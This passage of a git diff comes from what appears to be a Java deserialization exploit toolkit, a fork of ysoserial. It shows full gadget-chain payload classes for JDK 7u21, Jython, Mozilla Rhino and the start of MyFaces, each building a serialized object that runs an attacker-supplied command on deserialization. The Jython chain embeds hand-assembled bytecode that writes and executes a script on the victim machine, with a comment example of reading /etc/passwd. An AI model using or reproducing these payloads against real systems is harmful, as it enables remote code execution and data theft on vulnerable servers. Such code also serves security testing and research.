and earlier. Payload generation has - * the same JRE version requirements. - *

- * See: https://gist.github.com/frohoff/24af7913611f8406eaf3 - *

- * Call tree: - *

- * LinkedHashSet.readObject() - * LinkedHashSet.add() - * ... - * TemplatesImpl.hashCode() (X) - * LinkedHashSet.add() - * ... - * Proxy(Templates).hashCode() (X) - * AnnotationInvocationHandler.invoke() (X) - * AnnotationInvocationHandler.hashCodeImpl() (X) - * String.hashCode() (0) - * AnnotationInvocationHandler.memberValueHashCode() (X) - * TemplatesImpl.hashCode() (X) - * Proxy(Templates).equals() - * AnnotationInvocationHandler.invoke() - * AnnotationInvocationHandler.equalsImpl() - * Method.invoke() - * ... - * TemplatesImpl.getOutputProperties() - * TemplatesImpl.newTransformer() - * TemplatesImpl.getTransletInstance() - * TemplatesImpl.defineTransletClasses() - * ClassLoader.defineClass() - * Class.newInstance() - * ... - * MaliciousClass.() - * ... - * Runtime.exec() - */ - -@SuppressWarnings({"rawtypes", "unchecked", "unused"}) -@Dependencies() -@Authors({Authors.FROHOFF}) -public class Jdk7u21 implements ObjectPayload { - - public static boolean isApplicableJavaVersion() { - JavaVersion v = JavaVersion.getLocalVersion(); - return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21)); - } - - public Object getObject(String command) throws Exception { - final Object templates; - templates = Gadgets.createTemplatesImpl(command); - - // hashCode 为 0 的字符串 - String zeroHashCodeStr = "f5a5a608"; - - HashMap map = new HashMap(); - map.put(zeroHashCodeStr, "foo"); - - // 使用 AnnotationInvocationHandler 为 HashMap 创建动态代理 - Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); - Constructor constructor = c.getDeclaredConstructors()[0]; - constructor.setAccessible(true); - InvocationHandler tempHandler = (InvocationHandler) constructor.newInstance(Override.class, map); - - // 反射写入 AnnotationInvocationHandler 的 type - Reflections.setFieldValue(tempHandler, "type", Templates.class); - - // 为 Templates 创建动态代理 - Templates proxy = (Templates) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), - new Class[]{Templates.class}, tempHandler); - - // LinkedHashSet 中放入 TemplatesImpl 以及动态代理类 - LinkedHashSet set = new LinkedHashSet(); // maintain order - set.add(templates); - set.add(proxy); - - // 反射将 _auxClasses 和 _class 修改为 null - Reflections.setFieldValue(templates, "_auxClasses", null); - Reflections.setFieldValue(templates, "_class", null); - - // 向 map 中替换 tmpl 对象 - map.put(zeroHashCodeStr, templates); - - return set; - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.JavaVersion; +import com.qi4l.JYso.gadgets.utils.Reflections; + +import javax.xml.transform.Templates; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Proxy; +import java.util.HashMap; +import java.util.LinkedHashSet; + + +/** + * Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has + * the same JRE version requirements. + *

+ * See: https://gist.github.com/frohoff/24af7913611f8406eaf3 + *

+ * Call tree: + *

+ * LinkedHashSet.readObject() + * LinkedHashSet.add() + * ... + * TemplatesImpl.hashCode() (X) + * LinkedHashSet.add() + * ... + * Proxy(Templates).hashCode() (X) + * AnnotationInvocationHandler.invoke() (X) + * AnnotationInvocationHandler.hashCodeImpl() (X) + * String.hashCode() (0) + * AnnotationInvocationHandler.memberValueHashCode() (X) + * TemplatesImpl.hashCode() (X) + * Proxy(Templates).equals() + * AnnotationInvocationHandler.invoke() + * AnnotationInvocationHandler.equalsImpl() + * Method.invoke() + * ... + * TemplatesImpl.getOutputProperties() + * TemplatesImpl.newTransformer() + * TemplatesImpl.getTransletInstance() + * TemplatesImpl.defineTransletClasses() + * ClassLoader.defineClass() + * Class.newInstance() + * ... + * MaliciousClass.() + * ... + * Runtime.exec() + */ + +@SuppressWarnings({"rawtypes", "unchecked", "unused"}) +@Dependencies() +@Authors({Authors.FROHOFF}) +public class Jdk7u21 implements ObjectPayload { + + public static boolean isApplicableJavaVersion() { + JavaVersion v = JavaVersion.getLocalVersion(); + return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21)); + } + + public Object getObject(String command) throws Exception { + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + + // hashCode 为 0 的字符串 + String zeroHashCodeStr = "f5a5a608"; + + HashMap map = new HashMap(); + map.put(zeroHashCodeStr, "foo"); + + // 使用 AnnotationInvocationHandler 为 HashMap 创建动态代理 + Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); + Constructor constructor = c.getDeclaredConstructors()[0]; + constructor.setAccessible(true); + InvocationHandler tempHandler = (InvocationHandler) constructor.newInstance(Override.class, map); + + // 反射写入 AnnotationInvocationHandler 的 type + Reflections.setFieldValue(tempHandler, "type", Templates.class); + + // 为 Templates 创建动态代理 + Templates proxy = (Templates) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), + new Class[]{Templates.class}, tempHandler); + + // LinkedHashSet 中放入 TemplatesImpl 以及动态代理类 + LinkedHashSet set = new LinkedHashSet(); // maintain order + set.add(templates); + set.add(proxy); + + // 反射将 _auxClasses 和 _class 修改为 null + Reflections.setFieldValue(templates, "_auxClasses", null); + Reflections.setFieldValue(templates, "_class", null); + + // 向 map 中替换 tmpl 对象 + map.put(zeroHashCodeStr, templates); + + return set; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Jdk7u21variant.java b/src/main/java/com/qi4l/JYso/gadgets/Jdk7u21variant.java index 18857a8..4632076 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Jdk7u21variant.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Jdk7u21variant.java @@ -1,49 +1,49 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.Reflections; - -import javax.xml.transform.Templates; -import java.lang.reflect.InvocationHandler; -import java.rmi.MarshalledObject; -import java.util.HashMap; -import java.util.LinkedHashSet; - -import static com.qi4l.JYso.gadgets.utils.Utils.createProxy; - -@SuppressWarnings({"rawtypes", "unchecked","unused"}) -@Authors({"potats0"}) -public class Jdk7u21variant implements ObjectPayload { - - public Object getObject(String command) throws Exception { - final Object templates; - templates = Gadgets.createTemplatesImpl(command); - String zeroHashCodeStr = "f5a5a608"; - - HashMap map = new HashMap(); - map.put(zeroHashCodeStr, "foo"); - - InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); - Reflections.setFieldValue(tempHandler, "type", Templates.class); - Templates proxy = createProxy(tempHandler, Templates.class); - - LinkedHashSet set = new LinkedHashSet(); - set.add(templates); - set.add(proxy); - - Reflections.setFieldValue(templates, "_auxClasses", null); - Reflections.setFieldValue(templates, "_class", null); - - map.put(zeroHashCodeStr, templates); - - MarshalledObject marshalledObject = new MarshalledObject(set); - Reflections.setFieldValue(tempHandler, "type", MarshalledObject.class); - - set = new LinkedHashSet(); // maintain order - set.add(marshalledObject); - set.add(proxy); - map.put(zeroHashCodeStr, marshalledObject); // swap in real object - return set; - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; + +import javax.xml.transform.Templates; +import java.lang.reflect.InvocationHandler; +import java.rmi.MarshalledObject; +import java.util.HashMap; +import java.util.LinkedHashSet; + +import static com.qi4l.JYso.gadgets.utils.Utils.createProxy; + +@SuppressWarnings({"rawtypes", "unchecked","unused"}) +@Authors({"potats0"}) +public class Jdk7u21variant implements ObjectPayload { + + public Object getObject(String command) throws Exception { + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + String zeroHashCodeStr = "f5a5a608"; + + HashMap map = new HashMap(); + map.put(zeroHashCodeStr, "foo"); + + InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); + Reflections.setFieldValue(tempHandler, "type", Templates.class); + Templates proxy = createProxy(tempHandler, Templates.class); + + LinkedHashSet set = new LinkedHashSet(); + set.add(templates); + set.add(proxy); + + Reflections.setFieldValue(templates, "_auxClasses", null); + Reflections.setFieldValue(templates, "_class", null); + + map.put(zeroHashCodeStr, templates); + + MarshalledObject marshalledObject = new MarshalledObject(set); + Reflections.setFieldValue(tempHandler, "type", MarshalledObject.class); + + set = new LinkedHashSet(); // maintain order + set.add(marshalledObject); + set.add(proxy); + map.put(zeroHashCodeStr, marshalledObject); // swap in real object + return set; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Jython1.java b/src/main/java/com/qi4l/JYso/gadgets/Jython1.java index c368d9a..a05d21d 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Jython1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Jython1.java @@ -1,100 +1,100 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Reflections; -import org.apache.commons.io.FileUtils; -import org.python.core.*; - -import java.io.File; -import java.lang.reflect.Proxy; -import java.math.BigInteger; -import java.util.Arrays; -import java.util.Comparator; -import java.util.PriorityQueue; - -/** - * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) - *

- * This version of Jython1 writes a python script on the victim machine and - * executes it. The format of the parameters is: - *

- * ; - *

- * Where local path is the python script's location on the attack box and - * remote path is the location where the script will be written/executed from. - * For example: - *

- * "/home/albino_lobster/read_etc_passwd.py;/tmp/jython1.py" - *

- * In the above example, if "read_etc_passwd.py" simply contained the string: - *

- * raise Exception(open('/etc/passwd', 'r').read()) - *

- * Then, when deserialized, the script will read in /etc/passwd and raise an - * exception with its contents (which could be useful if the target returns - * exception information). - */ - -@SuppressWarnings({"rawtypes", "unchecked","unused"}) -@Dependencies({"org.python:jython-standalone:2.5.2"}) -@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711}) -public class Jython1 implements ObjectPayload { - - public PriorityQueue getObject(String command) throws Exception { - - - String[] paths = command.split(":"); - if (paths.length != 2) { - throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(paths)); - } - - // Set payload parameters - String python_code = FileUtils.readFileToString(new File(paths[0]), "UTF-8"); - - // Python bytecode to write a file on disk and execute it - String code = - "740000" + //0 LOAD_GLOBAL 0 (open) - "640100" + //3 LOAD_CONST 1 (remote path) - "640200" + //6 LOAD_CONST 2 ('w+') - "830200" + //9 CALL_FUNCTION 2 - "7D0000" + //12 STORE_FAST 0 (file) - - "7C0000" + //15 LOAD_FAST 0 (file) - "690100" + //18 LOAD_ATTR 1 (write) - "640300" + //21 LOAD_CONST 3 (python code) - "830100" + //24 CALL_FUNCTION 1 - "01" + //27 POP_TOP - - "7C0000" + //28 LOAD_FAST 0 (file) - "690200" + //31 LOAD_ATTR 2 (close) - "830000" + //34 CALL_FUNCTION 0 - "01" + //37 POP_TOP - - "740300" + //38 LOAD_GLOBAL 3 (execfile) - "640100" + //41 LOAD_CONST 1 (remote path) - "830100" + //44 CALL_FUNCTION 1 - "01" + //47 POP_TOP - "640000" + //48 LOAD_CONST 0 (None) - "53"; //51 RETURN_VALUE - - // Helping consts and names - PyObject[] consts = new PyObject[]{new PyString(""), new PyString(paths[1]), new PyString("w+"), new PyString(python_code)}; - String[] names = new String[]{"open", "write", "close", "execfile"}; - - // Generating PyBytecode wrapper for our python bytecode - PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{"", ""}, "noname", "", 0, ""); - Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray()); - - // Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method - PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj); - - // Prepare Trigger Gadget - Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler); - PriorityQueue priorityQueue = new PriorityQueue(2, comparator); - Object[] queue = new Object[]{1, 1}; - Reflections.setFieldValue(priorityQueue, "queue", queue); - Reflections.setFieldValue(priorityQueue, "size", 2); - return priorityQueue; - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.commons.io.FileUtils; +import org.python.core.*; + +import java.io.File; +import java.lang.reflect.Proxy; +import java.math.BigInteger; +import java.util.Arrays; +import java.util.Comparator; +import java.util.PriorityQueue; + +/** + * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) + *

+ * This version of Jython1 writes a python script on the victim machine and + * executes it. The format of the parameters is: + *

+ * ; + *

+ * Where local path is the python script's location on the attack box and + * remote path is the location where the script will be written/executed from. + * For example: + *

+ * "/home/albino_lobster/read_etc_passwd.py;/tmp/jython1.py" + *

+ * In the above example, if "read_etc_passwd.py" simply contained the string: + *

+ * raise Exception(open('/etc/passwd', 'r').read()) + *

+ * Then, when deserialized, the script will read in /etc/passwd and raise an + * exception with its contents (which could be useful if the target returns + * exception information). + */ + +@SuppressWarnings({"rawtypes", "unchecked","unused"}) +@Dependencies({"org.python:jython-standalone:2.5.2"}) +@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711}) +public class Jython1 implements ObjectPayload { + + public PriorityQueue getObject(String command) throws Exception { + + + String[] paths = command.split(":"); + if (paths.length != 2) { + throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(paths)); + } + + // Set payload parameters + String python_code = FileUtils.readFileToString(new File(paths[0]), "UTF-8"); + + // Python bytecode to write a file on disk and execute it + String code = + "740000" + //0 LOAD_GLOBAL 0 (open) + "640100" + //3 LOAD_CONST 1 (remote path) + "640200" + //6 LOAD_CONST 2 ('w+') + "830200" + //9 CALL_FUNCTION 2 + "7D0000" + //12 STORE_FAST 0 (file) + + "7C0000" + //15 LOAD_FAST 0 (file) + "690100" + //18 LOAD_ATTR 1 (write) + "640300" + //21 LOAD_CONST 3 (python code) + "830100" + //24 CALL_FUNCTION 1 + "01" + //27 POP_TOP + + "7C0000" + //28 LOAD_FAST 0 (file) + "690200" + //31 LOAD_ATTR 2 (close) + "830000" + //34 CALL_FUNCTION 0 + "01" + //37 POP_TOP + + "740300" + //38 LOAD_GLOBAL 3 (execfile) + "640100" + //41 LOAD_CONST 1 (remote path) + "830100" + //44 CALL_FUNCTION 1 + "01" + //47 POP_TOP + "640000" + //48 LOAD_CONST 0 (None) + "53"; //51 RETURN_VALUE + + // Helping consts and names + PyObject[] consts = new PyObject[]{new PyString(""), new PyString(paths[1]), new PyString("w+"), new PyString(python_code)}; + String[] names = new String[]{"open", "write", "close", "execfile"}; + + // Generating PyBytecode wrapper for our python bytecode + PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{"", ""}, "noname", "", 0, ""); + Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray()); + + // Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method + PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj); + + // Prepare Trigger Gadget + Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler); + PriorityQueue priorityQueue = new PriorityQueue(2, comparator); + Object[] queue = new Object[]{1, 1}; + Reflections.setFieldValue(priorityQueue, "queue", queue); + Reflections.setFieldValue(priorityQueue, "size", 2); + return priorityQueue; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/MozillaRhino1.java b/src/main/java/com/qi4l/JYso/gadgets/MozillaRhino1.java index 7784cf9..a68c634 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/MozillaRhino1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/MozillaRhino1.java @@ -1,72 +1,72 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.JavaVersion; -import com.qi4l.JYso.gadgets.utils.Reflections; -import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; -import org.mozilla.javascript.*; - -import javax.management.BadAttributeValueExpException; -import java.lang.reflect.Constructor; -import java.lang.reflect.Field; -import java.lang.reflect.Method; - - - -/* - by @matthias_kaiser -*/ - -@SuppressWarnings({"rawtypes", "unchecked","unused"}) -@Dependencies({"rhino:js:1.7R2"}) -@Authors({Authors.MATTHIASKAISER}) -public class MozillaRhino1 implements ObjectPayload { - public static boolean isApplicableJavaVersion() { - return JavaVersion.isBadAttrValExcReadObj(); - } - - public Object getObject(String command) throws Exception { - Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError"); - Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor(); - Reflections.setAccessible(nativeErrorConstructor); - IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance(); - - Context context = Context.enter(); - - NativeObject scriptableObject = (NativeObject) context.initStandardObjects(); - - Method enterMethod = Context.class.getDeclaredMethod("enter"); - NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name"); - idScriptableObject.setGetterOrSetter("name", 0, method, false); - - Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer"); - NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "message"); - idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false); - - Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class); - Reflections.setAccessible(getSlot); - Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1); - Field getter = slot.getClass().getDeclaredField("getter"); - Reflections.setAccessible(getter); - - Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox"); - Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class); - Reflections.setAccessible(memberboxClassConstructor); - Object memberboxes = memberboxClassConstructor.newInstance(enterMethod); - getter.set(slot, memberboxes); - - final Object tpl; - tpl = Gadgets.createTemplatesImpl(command); - - NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject, tpl, TemplatesImpl.class); - idScriptableObject.setPrototype(nativeObject); - - BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); - Field valField = badAttributeValueExpException.getClass().getDeclaredField("val"); - Reflections.setAccessible(valField); - valField.set(badAttributeValueExpException, idScriptableObject); - return badAttributeValueExpException; - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.JavaVersion; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import org.mozilla.javascript.*; + +import javax.management.BadAttributeValueExpException; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Method; + + + +/* + by @matthias_kaiser +*/ + +@SuppressWarnings({"rawtypes", "unchecked","unused"}) +@Dependencies({"rhino:js:1.7R2"}) +@Authors({Authors.MATTHIASKAISER}) +public class MozillaRhino1 implements ObjectPayload { + public static boolean isApplicableJavaVersion() { + return JavaVersion.isBadAttrValExcReadObj(); + } + + public Object getObject(String command) throws Exception { + Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError"); + Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor(); + Reflections.setAccessible(nativeErrorConstructor); + IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance(); + + Context context = Context.enter(); + + NativeObject scriptableObject = (NativeObject) context.initStandardObjects(); + + Method enterMethod = Context.class.getDeclaredMethod("enter"); + NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name"); + idScriptableObject.setGetterOrSetter("name", 0, method, false); + + Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer"); + NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "message"); + idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false); + + Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class); + Reflections.setAccessible(getSlot); + Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1); + Field getter = slot.getClass().getDeclaredField("getter"); + Reflections.setAccessible(getter); + + Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox"); + Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class); + Reflections.setAccessible(memberboxClassConstructor); + Object memberboxes = memberboxClassConstructor.newInstance(enterMethod); + getter.set(slot, memberboxes); + + final Object tpl; + tpl = Gadgets.createTemplatesImpl(command); + + NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject, tpl, TemplatesImpl.class); + idScriptableObject.setPrototype(nativeObject); + + BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); + Field valField = badAttributeValueExpException.getClass().getDeclaredField("val"); + Reflections.setAccessible(valField); + valField.set(badAttributeValueExpException, idScriptableObject); + return badAttributeValueExpException; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/MozillaRhino2.java b/src/main/java/com/qi4l/JYso/gadgets/MozillaRhino2.java index 2b2039c..cb343d1 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/MozillaRhino2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/MozillaRhino2.java @@ -1,105 +1,105 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.Reflections; -import org.mozilla.javascript.*; -import org.mozilla.javascript.tools.shell.Environment; - -import java.io.IOException; -import java.io.ObjectOutputStream; -import java.lang.reflect.Method; -import java.util.Hashtable; -import java.util.Map; - - -/** - * Works on rhino 1.6R6 and above & doesn't depend on BadAttributeValueExpException's readObject - *

- * Chain: - *

- * NativeJavaObject.readObject() - * JavaAdapter.readAdapterObject() - * ObjectInputStream.readObject() - * ... - * NativeJavaObject.readObject() - * JavaAdapter.readAdapterObject() - * JavaAdapter.getAdapterClass() - * JavaAdapter.getObjectFunctionNames() - * ScriptableObject.getProperty() - * ScriptableObject.get() - * ScriptableObject.getImpl() - * Method.invoke() - * Context.enter() - * JavaAdapter.getAdapterClass() - * JavaAdapter.getObjectFunctionNames() - * ScriptableObject.getProperty() - * NativeJavaArray.get() - * NativeJavaObject.get() - * JavaMembers.get() - * Method.invoke() - * TemplatesImpl.getOutputProperties() - * ... - *

- * by @_tint0 - */ -@SuppressWarnings({"unchecked","unused"}) -@Dependencies({"rhino:js:1.7R2"}) -@Authors({Authors.TINT0}) -public class MozillaRhino2 implements ObjectPayload { - public static void customWriteAdapterObject(Object javaObject, ObjectOutputStream out) throws IOException { - out.writeObject("java.lang.Object"); - out.writeObject(new String[0]); - out.writeObject(javaObject); - } - - @Override - public Object getObject(String command) throws Exception { - ScriptableObject dummyScope = new Environment(); - Map associatedValues = new Hashtable<>(); - associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class)); - Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues); - - Object initContextMemberBox = Reflections.createWithConstructor( - Class.forName("org.mozilla.javascript.MemberBox"), - (Class) Class.forName("org.mozilla.javascript.MemberBox"), - new Class[]{Method.class}, - new Object[]{Context.class.getMethod("enter")}); - - ScriptableObject initContextScriptableObject = new Environment(); - Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class); - Reflections.setAccessible(makeSlot); - Object slot = makeSlot.invoke(initContextScriptableObject, "QI4L", 0, 4); - Reflections.setFieldValue(slot, "getter", initContextMemberBox); - - NativeJavaObject initContextNativeJavaObject = new NativeJavaObject(); - Reflections.setFieldValue(initContextNativeJavaObject, "parent", dummyScope); - Reflections.setFieldValue(initContextNativeJavaObject, "isAdapter", true); - Reflections.setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject", - this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class)); - Reflections.setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject); - - ScriptableObject scriptableObject = new Environment(); - scriptableObject.setParentScope(initContextNativeJavaObject); - makeSlot.invoke(scriptableObject, "outputProperties", 0, 2); - - NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class); - Reflections.setFieldValue(nativeJavaArray, "parent", dummyScope); - - final Object tpl; - tpl = Gadgets.createTemplatesImpl(command); - - Reflections.setFieldValue(nativeJavaArray, "javaObject", tpl); - nativeJavaArray.setPrototype(scriptableObject); - Reflections.setFieldValue(nativeJavaArray, "prototype", scriptableObject); - - NativeJavaObject nativeJavaObject = new NativeJavaObject(); - Reflections.setFieldValue(nativeJavaObject, "parent", dummyScope); - Reflections.setFieldValue(nativeJavaObject, "isAdapter", true); - Reflections.setFieldValue(nativeJavaObject, "adapter_writeAdapterObject", - this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class)); - Reflections.setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray); - return nativeJavaObject; - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.mozilla.javascript.*; +import org.mozilla.javascript.tools.shell.Environment; + +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.lang.reflect.Method; +import java.util.Hashtable; +import java.util.Map; + + +/** + * Works on rhino 1.6R6 and above & doesn't depend on BadAttributeValueExpException's readObject + *

+ * Chain: + *

+ * NativeJavaObject.readObject() + * JavaAdapter.readAdapterObject() + * ObjectInputStream.readObject() + * ... + * NativeJavaObject.readObject() + * JavaAdapter.readAdapterObject() + * JavaAdapter.getAdapterClass() + * JavaAdapter.getObjectFunctionNames() + * ScriptableObject.getProperty() + * ScriptableObject.get() + * ScriptableObject.getImpl() + * Method.invoke() + * Context.enter() + * JavaAdapter.getAdapterClass() + * JavaAdapter.getObjectFunctionNames() + * ScriptableObject.getProperty() + * NativeJavaArray.get() + * NativeJavaObject.get() + * JavaMembers.get() + * Method.invoke() + * TemplatesImpl.getOutputProperties() + * ... + *

+ * by @_tint0 + */ +@SuppressWarnings({"unchecked","unused"}) +@Dependencies({"rhino:js:1.7R2"}) +@Authors({Authors.TINT0}) +public class MozillaRhino2 implements ObjectPayload { + public static void customWriteAdapterObject(Object javaObject, ObjectOutputStream out) throws IOException { + out.writeObject("java.lang.Object"); + out.writeObject(new String[0]); + out.writeObject(javaObject); + } + + @Override + public Object getObject(String command) throws Exception { + ScriptableObject dummyScope = new Environment(); + Map associatedValues = new Hashtable<>(); + associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class)); + Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues); + + Object initContextMemberBox = Reflections.createWithConstructor( + Class.forName("org.mozilla.javascript.MemberBox"), + (Class) Class.forName("org.mozilla.javascript.MemberBox"), + new Class[]{Method.class}, + new Object[]{Context.class.getMethod("enter")}); + + ScriptableObject initContextScriptableObject = new Environment(); + Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class); + Reflections.setAccessible(makeSlot); + Object slot = makeSlot.invoke(initContextScriptableObject, "QI4L", 0, 4); + Reflections.setFieldValue(slot, "getter", initContextMemberBox); + + NativeJavaObject initContextNativeJavaObject = new NativeJavaObject(); + Reflections.setFieldValue(initContextNativeJavaObject, "parent", dummyScope); + Reflections.setFieldValue(initContextNativeJavaObject, "isAdapter", true); + Reflections.setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject", + this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class)); + Reflections.setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject); + + ScriptableObject scriptableObject = new Environment(); + scriptableObject.setParentScope(initContextNativeJavaObject); + makeSlot.invoke(scriptableObject, "outputProperties", 0, 2); + + NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class); + Reflections.setFieldValue(nativeJavaArray, "parent", dummyScope); + + final Object tpl; + tpl = Gadgets.createTemplatesImpl(command); + + Reflections.setFieldValue(nativeJavaArray, "javaObject", tpl); + nativeJavaArray.setPrototype(scriptableObject); + Reflections.setFieldValue(nativeJavaArray, "prototype", scriptableObject); + + NativeJavaObject nativeJavaObject = new NativeJavaObject(); + Reflections.setFieldValue(nativeJavaObject, "parent", dummyScope); + Reflections.setFieldValue(nativeJavaObject, "isAdapter", true); + Reflections.setFieldValue(nativeJavaObject, "adapter_writeAdapterObject", + this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class)); + Reflections.setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray); + return nativeJavaObject; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Myfaces1.java b/src/main/java/com/qi4l/JYso/gadgets/Myfaces1.java index e6bb153..728842e 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Myfaces1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Myfaces1.java @@ -1,84 +1,84 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import 